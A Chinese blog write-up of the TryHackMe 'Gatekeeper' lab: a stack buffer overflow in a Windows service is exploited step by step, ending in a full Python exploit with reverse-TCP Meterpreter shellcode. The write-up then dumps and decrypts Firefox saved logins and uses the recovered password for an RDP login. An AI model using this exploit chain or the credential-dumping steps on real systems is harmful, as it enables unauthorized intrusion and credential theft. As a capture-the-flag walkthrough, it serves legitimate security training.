【THM】Gatekeeper-练习

本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/gatekeeper

通过学习相关知识点:利用堆栈缓冲区溢出漏洞来获得目标的初始访问权限,并将权限提升到root。

image

获取目标初始访问权限

端口扫描

部署本实验的虚拟靶机,使用nmap进行端口扫描。

nmap -sC -p- -T4 $ip

image

有效结果如下:

135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
| rdp-ntlm-info:
|   Target_Name: GATEKEEPER
|   NetBIOS_Domain_Name: GATEKEEPER
|   NetBIOS_Computer_Name: GATEKEEPER
|   DNS_Domain_Name: gatekeeper
|   DNS_Computer_Name: gatekeeper
|   Product_Version: 6.1.7601
|_  System_Time: 2023-03-04T13:32:20+00:00
31337/tcp open  Elite
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49161/tcp open  unknown
49165/tcp open  unknown

image

扫描显示了一些开放的端口,其中最不寻常的是端口 31337,因此这可能是需要与之交互的端口。

进行SMB枚举&获取目标文件

使用 SMBClient 列出主机上的可用共享并访问共享以查找目标文件

smbclient -L $ip
smbclient //$ip/Users
dir
cd Share
dir
get gatekeeper.exe

image

image

最终发现目标程序文件gatekeeper.exe,下载下来即可。

使用本地Windows虚拟机分析目标文件

tips:我们可以使用本地Windows虚拟机环境对目标文件进行逆向分析(通过分析找到目标文件gatekeeper.exe的缓冲区溢出漏洞即可);但是在逆向分析完成之后,我们还是要针对本次实验环境所提供的靶机进行渗透。

接下来我们需要将目标文件丢到本地Windows虚拟机中。

先在本地kali机上开启一个简易的web服务器以便传输文件到本地Windows机器中。

python -m http.server 8888

image

在本地Windows虚拟机中访问本地kali机etho ip所开放的端口并下载目标文件,完成下载之后在Windows机器中查看该exe程序的运行界面。

image

image

在kali机上使用netcat与靶机端口 31337 以及本地Windows机器的端口 31337 上的服务交互——我们可以发现该服务(此服务对应的程序为gatekeeper.exe)允许用户进行一些输入操作,在完成输入后将自动在终端界面打印“hello [input]!!!”字符串。

image

image

初步Fuzzing测试

在本地Windows虚拟机上启动 Immunity Debugger并打开目标文件gatekeeper.exe,我们将在本地kali机中对本地Windows机上的目标程序手动进行fuzz测试 以便找出大概多少字节会导致目标应用程序发生崩溃。

python -c "print('A'*200)"

image

image

确定offset并控制EIP

下一步需要确定正在发送的缓冲区的哪一部分落在目标程序的EIP寄存器中,以便我们控制目标程序的执行流程,我们先使用msf中的pattern_create.rb脚本创建一个200字节的随机字符串。

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
#也可以在Immunity Debugger的命令栏中输入命令:!mona pattern_create 200

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

image

和之前一样,手动将以上随机字符串发送到目标程序的输入缓冲区中(此处要先在本地Windows虚拟机中用Immunity Debugger运行目标exe),当程序再次崩溃时,我们需要检查并记录下本地Windows虚拟机的Immunity Debugger中的EIP寄存器值。

image

我们可以看到EIP值为39654138,现在我们用msf pattern offset脚本来查看我们所需要的确切的EIP偏移量(也就是能够使缓冲区溢出的精确的字符串长度值)。

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 200 -q 39654138

image

我们成功得到能够使缓冲区溢出的精确的字符串长度值:146

现在我们需要构建exp脚本,此处参考:https://github.com/gh0x0st/Buffer_Overflow

我们需要在exp脚本中添加本地Windows虚拟机的ip以便我们向应用程序发送数据,结合前面得到的能够使目标程序崩溃的字符长度-146个字符大小,我们得到以下初始脚本(exp.py):

#!/usr/bin/python

import socket
import sys

ip = '192.168.101.27'
port = 31337

offset = 146
buffer = b"A" * offset
retn = b""
padding = b""
payload = b""

buffer += retn
buffer += padding
buffer += payload

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    print("Sending buffer")
    s.send(buffer + b"\r\n")
    print("Done!")
    s.close()
except:
    print("Unable to connect to the application.")
    sys.exit()

在kali机上执行以上初始exp脚本,能够使目标程序崩溃(注意:每次都需要先用本地Windows虚拟机中的Immunity Debugger运行目标程序,再在本地kali机中执行exp脚本,这样脚本才会生效)。

python3 exp.py

image

接下来我们要控制EIP,我们可以通过在 146*A 的末尾添加四个 B 字符来确认我们能够覆盖 EIP。

#基于初始exp.py修改
offset = 146
buffer = b"A" * offset
retn = b"B" * 4

再次执行exp脚本(先用本地Windows虚拟机中的Immunity Debugger运行目标程序),查看EIP寄存器值——发现成功覆盖(42424242,字符B对应的十六进制数为0x42)。

image

寻找坏字符

接下来我们要检查坏字符。

先使用以下命令在Immunity Debugger的命令栏中配置mona.py工作目录。

!mona config -set workingfolder c:\mona\%p

image

再使用以下命令新建一个坏字符数组(记录一下生成的数组文件所在路径——即下图中箭头所标注位置)。

!mona bytearray -b "\x00"
#Binary output saved in c:\mona\gatekeeper\bytearray.bin

image

使用以下python代码生成一串与前面的坏字符数组相同的字符串。

for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()

image

用以上输出结果修改exp脚本中的payload变量 并再次执行exp脚本使目标程序崩溃,记录下Immunity Debugger中的esp address。

#基于初始exp.py修改
offset = 146
buffer = b"A" * offset
retn = b"B" * 4
padding = b""
payload = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

buffer += retn
buffer += padding
buffer += payload

image

最后执行mona的比较命令得到坏字符比较结果。

# !mona compare -f C:\mona\gatekeeper\bytearray.bin -a [esp address]
!mona compare -f C:\mona\gatekeeper\bytearray.bin -a 00B319E4

image

根据上图输出结果并经过排除操作——在exp脚本中的payload变量内容中删去\xoa字符,然后再次使程序崩溃并再次使用mona比较命令,结果显示Unmodified状态,所以我们可知最终的坏字符为"\x00\xoa"。(此处的排除操作主要是为了验证\x0a字符是否是受\x00影响才出现在mona比较命令的输出列表中)

寻找跳跃点

接下来我们要找到一个有效的 JMP ESP 指令地址,以便我们可以将目标应用程序的执行流程重定向到我们的恶意shellcode所在位置。

在目标exe 处于运行状态或处于崩溃状态时,运行以下 mona jmp 命令,确保使用我们已经找到的所有坏字符来更新 -cpb 选项即可:

!mona jmp -r esp -cpb "\x00\x0a"
#JMP ESP 0x080414c3 
#JMP ESP 0x080416bf

image

选择地址0x080416bf,使用小端字节序表示为: \xbf\x16\x04\08 ——逆序书写即可,此地址用于填充exp脚本中的retn变量

生成最终payload&开始漏洞利用

使用msfvenom命令生成一个排除坏字符的payload (此处选择生成Meterpreter shell类型的payload;此处ip是本地kali机中的TryHackMe vpn ip)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.13.16.58 LPORT=4444 -b "\x00\x0a" -f py -v payload
#-p 指定负载类型,在本例中为Windows Meterpreter Reverse TCP Shell
#LHOST 指定要连接的本地主机 IP 地址 10.13.16.58
#LPORT 指定要连接的本地机端口
#-f 指定格式
#-b 指定排除坏字符
#-e 指定编码器(此处未设置--最终将使用默认编码器)
#-v 指定用于 shellcode 的变量名

image

复制以上输出结果到exp脚本的payload变量中,为了稳定,我们还需要添加NOP。

padding = b"\x90" * 16

现在我们知道了用于构建exp脚本的所有有效信息(我们要针对本实验的虚拟靶机中的目标程序,此处脚本中的$target-ip要使用实验房间所提供的靶机ip),最终可用的exp.py脚本内容如下所示:

#offset 146
#bad characters \x00\x0a
#JMP ESP 0x080414c3 
#JMP ESP 0x080416bf
#Nop "\x90" * 16

# shellcode
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=4444 -b "\x00\x0a" -f py -v payload

#!/usr/bin/python
import socket
import sys

ip = '10.10.158.114'
port = 31337

offset = 146
buffer = b"A" * offset
retn = b"\xbf\x16\x04\x08"
padding = b"\x90" * 16
payload =  b""
payload += b"\xb8\x91\x23\x28\x6d\xd9\xc1\xd9\x74\x24\xf4"
payload += b"\x5b\x33\xc9\xb1\x59\x83\xeb\xfc\x31\x43\x10"
payload += b"\x03\x43\x10\x73\xd6\xd4\x85\xfc\x19\x25\x56"
payload += b"\x62\x93\xc0\x67\xb0\xc7\x81\xda\x04\x83\xc4"
payload += b"\xd6\xef\xc1\xfc\xd7\x10\xea\x4b\x5d\xc8\x7e"
payload += b"\xc1\x4a\x25\x41\x8a\xb7\x24\x3d\xd1\xeb\x86"
payload += b"\x7c\x1a\xfe\xc7\xb9\xec\x74\x28\x17\x64\x24"
payload += b"\xa6\x13\x38\xf5\x91\x22\x6d\x8e\x5d\x5d\x08"
payload += b"\x51\x29\xd1\x13\x82\x5a\xa1\x0b\x72\xd7\x6a"
payload += b"\x0c\x73\x34\x0f\x85\x07\x86\x21\xe9\xa1\x7d"
payload += b"\x75\x9e\x33\x57\x47\x60\x9f\x96\x67\x6d\xe1"
payload += b"\xdf\x40\x8e\x94\x2b\xb3\x33\xaf\xe8\xc9\xef"
payload += b"\x3a\xee\x6a\x7b\x9c\xca\x8b\xa8\x7b\x99\x80"
payload += b"\x05\x0f\xc5\x84\x98\xdc\x7e\xb0\x11\xe3\x50"
payload += b"\x30\x61\xc0\x74\x18\x31\x69\x2d\xc4\x94\x96"
payload += b"\x2d\xa0\x49\x33\x26\x43\x9f\x43\xc7\x9b\xa0"
payload += b"\x19\x5f\x57\x6d\xa2\x9f\xff\xe6\xd1\xad\xa0"
payload += b"\x5c\x7e\x9d\x29\x7b\x79\x94\x3e\x7c\x55\x1e"
payload += b"\x2e\x82\x56\x5e\x66\x41\x02\x0e\x10\x60\x2b"
payload += b"\xc5\xe0\x8d\xfe\x73\xeb\x19\x0b\x8e\xfb\xe3"
payload += b"\x63\x92\xfb\x02\x28\x1b\x1d\x74\x80\x4b\xb2"
payload += b"\x35\x70\x2b\x62\xde\x9a\xa4\x5d\xfe\xa4\x6f"
payload += b"\xf6\x95\x4a\xd9\xae\x01\xf2\x40\x24\xb3\xfb"
payload += b"\x5f\x40\xf3\x70\x55\xb4\xba\x70\x1c\xa6\xab"
payload += b"\xe6\xde\x36\x2c\x83\xde\x5c\x28\x05\x89\xc8"
payload += b"\x32\x70\xfd\x56\xcc\x57\x7e\x90\x32\x26\xb6"
payload += b"\xea\x05\xbc\xf6\x84\x69\x50\xf6\x54\x3c\x3a"
payload += b"\xf6\x3c\x98\x1e\xa5\x59\xe7\x8a\xda\xf1\x72"
payload += b"\x35\x8a\xa6\xd5\x5d\x30\x90\x12\xc2\xcb\xf7"
payload += b"\x20\x05\x33\x85\x0e\xae\x5b\x75\x0f\x4e\x9b"
payload += b"\x1f\x8f\x1e\xf3\xd4\xa0\x91\x33\x14\x6b\xfa"
payload += b"\x5b\x9f\xfa\x48\xfa\xa0\xd6\x0d\xa2\xa1\xd5"
payload += b"\x95\x55\xdb\x96\x2a\x96\x1c\xbf\x4e\x97\x1c"
payload += b"\xbf\x70\xa4\xca\x86\x06\xeb\xce\xbc\x19\x5e"
payload += b"\x72\x94\xb3\xa0\x20\xe6\x91"

buffer += retn
buffer += padding
buffer += payload

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    print("Sending buffer")
    s.send(buffer + b"\r\n")
    print("Done!")
    s.close()
except:
    print("Unable to connect to the application.")
    sys.exit()

我们在kali机上设置一个msf监听器并针对本实验的靶机执行最终的exp脚本。

msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.13.16.58
set LPORT 4444
exploit

image

找到user.txt并查看其内容。

image

user.txt的内容为:

答题

image

提升权限到root

转储目标机上的浏览器缓存文件

在上一小节的桌面文件夹中我们可以发现一个重要文件firefox.lnk,从浏览器缓存中检索登录凭据是权限提升的路径之一,而在 windows 文件中有一个已知路径会默认保存firefox 浏览器的缓存,在进行谷歌搜索之后我们会找到如下路径:

C:\Users\{user}\AppData\Roaming\Mozilla\Firefox\Profiles\

在本实验中user是natbat,所以我们可以在以下路径可以找到浏览器缓存文件。

C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\

image

我们在Meterpreter shell界面选择使用post/multi/gather/firefox_creds 模块来转储目标机中的上述浏览器缓存文件到本地kali机。

sessions
use post/multi/gather/firefox_creds
options
set SESSION 2
run
#在已经获取Meterpreter会话的情况下使用以上模块

image

由上图可知转存储的文件在/root/.msf4/loot/路径下 并且可知这些文件的初始名称为cert9.db、cookies.sqlite、key4.db和 logins.json

解密转储文件以得到登录凭据

接下来我们需要将转储的文件恢复初始名称,然后再用Firefox 存储文件解密脚本进行解密以得到明文登录凭据。

#先将转储的文件恢复初始名称——否则Firefox存储文件解密脚本无法生效
cd /root/.msf4/loot/
ls
mv 20230304230824_default_10.10.158.114_ff.ljfn812a.cert_110129.bin cert9.db
mv 20230304230844_default_10.10.158.114_ff.ljfn812a.cook_333552.bin cookies.sqlite
mv 20230304231040_default_10.10.158.114_ff.ljfn812a.key4_617941.bin key4.db
mv 20230304231118_default_10.10.158.114_ff.ljfn812a.logi_517575.bin logins.json

image

Firefox 存储文件解密脚本(以下两个脚本都可使用,本文选择使用第二个):

https://github.com/lclevy/firepwd

https://github.com/unode/firefox_decrypt

git clone https://github.com/unode/firefox_decrypt.git
#将要解密的文件移动到指定目录下
mv /root/.msf4/loot/logins.json /home/hekeats
mv /root/.msf4/loot/key4.db /home/hekeats
#使用解密脚本针对指定目录下的文件进行解密
python3 firefox_decrypt/firefox_decrypt.py /home/hekeats/

image

得到登录凭据:

Username——'mayor'

Password——'8CL7O1N78MdrCIsV'

使用凭证进行RDP登录&成功获取root权限

使用得到的凭据在本地kali上进行远程RDP登录,成功登录之后再查看root.txt内容即可。

#xfreerdp /u:mayor /p:8CL7O1N78MdrCIsV /cert:ignore /v:MACHINE_IP
xfreerdp /u:mayor /p:8CL7O1N78MdrCIsV /cert:ignore /v:10.10.158.114

image

image

root.txt的内容为:

答题

image

posted @ 2023-03-05 19:48  Hekeatsll  阅读(148)  评论(0编辑  收藏  举报